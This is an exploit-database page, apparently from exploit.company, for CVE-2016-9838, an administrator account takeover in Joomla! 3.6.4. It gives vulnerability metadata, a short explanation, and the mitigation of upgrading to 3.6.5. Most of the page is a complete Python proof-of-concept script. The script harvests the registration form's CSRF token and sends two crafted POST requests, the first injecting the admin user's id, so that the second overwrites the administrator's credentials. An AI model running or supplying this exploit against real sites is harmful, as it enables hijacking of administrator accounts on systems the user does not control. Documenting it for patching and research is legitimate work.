Joomla! - exploit.company

vendor:

Joomla!

by:

7,5

CVSS

HIGH

Admin TakeOver

287

CWE

Product Name: Joomla!

Affected Version From: 3.6.4

Affected Version To: 3.6.4

Patch Exists: YES

Related CWE: CVE-2016-9838

CPE: a:joomla:joomla

Metasploit: https://www.rapid7.com/db/vulnerabilities/joomla-20161201-core-elevated-privileges/, https://www.rapid7.com/db/vulnerabilities/freebsd-cve-2016-9838/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2016

Joomla! <= 3.6.4 Admin TakeOver

This exploit allows an attacker to take over an administrator account in Joomla! versions 3.6.4 and below. The exploit works by sending two POST requests to the Joomla! registration form. The first request is sent with mismatched passwords, which is rejected by the server. The second request is sent with the same data, but with the passwords matching. This request is accepted by the server, and the attacker is able to take over the administrator account.

Mitigation:

Upgrade to Joomla! 3.6.5 or later.

Source

Exploit-DB raw data:

#!/usr/bin/python3
# CVE-2016-9838: Joomla! <= 3.6.4 Admin TakeOver
# cf
# Source: https://www.ambionics.io/blog/cve-2016-9838-joomla-account-takeover-and-remote-code-execution

import bs4
import requests
import random


ADMIN_ID = 384
url = 'http://vmweb.lan/Joomla-3.6.4/'

form_url = url + 'index.php/component/users/?view=registration'
action_url = url + 'index.php/component/users/?task=registration.register'

username = 'user%d' % random.randrange(1000, 10000)
email = username + '@yopmail.com'
password = 'ActualRandomChimpanzee123'

user_data = {
    'name': username,
    'username': username,
    'password1': password,
    'password2': password + 'XXXinvalid',
    'email1': email,
    'email2': email,
    'id': '%d' % ADMIN_ID
}

session = requests.Session()

# Grab original data from the form, including the CSRF token

response = session.get(form_url)
soup = bs4.BeautifulSoup(response.text, 'lxml')

form = soup.find('form', id='member-registration')
data = {e['name']: e['value'] for e in form.find_all('input')}

# Build our modified data array

user_data = {'jform[%s]' % k: v for k, v in user_data.items()}
data.update(user_data)

# First request will get denied because the two passwords are mismatched

response = session.post(action_url, data=data)

# The second will work

data['jform[password2]'] = data['jform[password1]']
del data['jform[id]']
response = session.post(action_url, data=data)

print("Account modified to user: %s [%s]" % (username, email))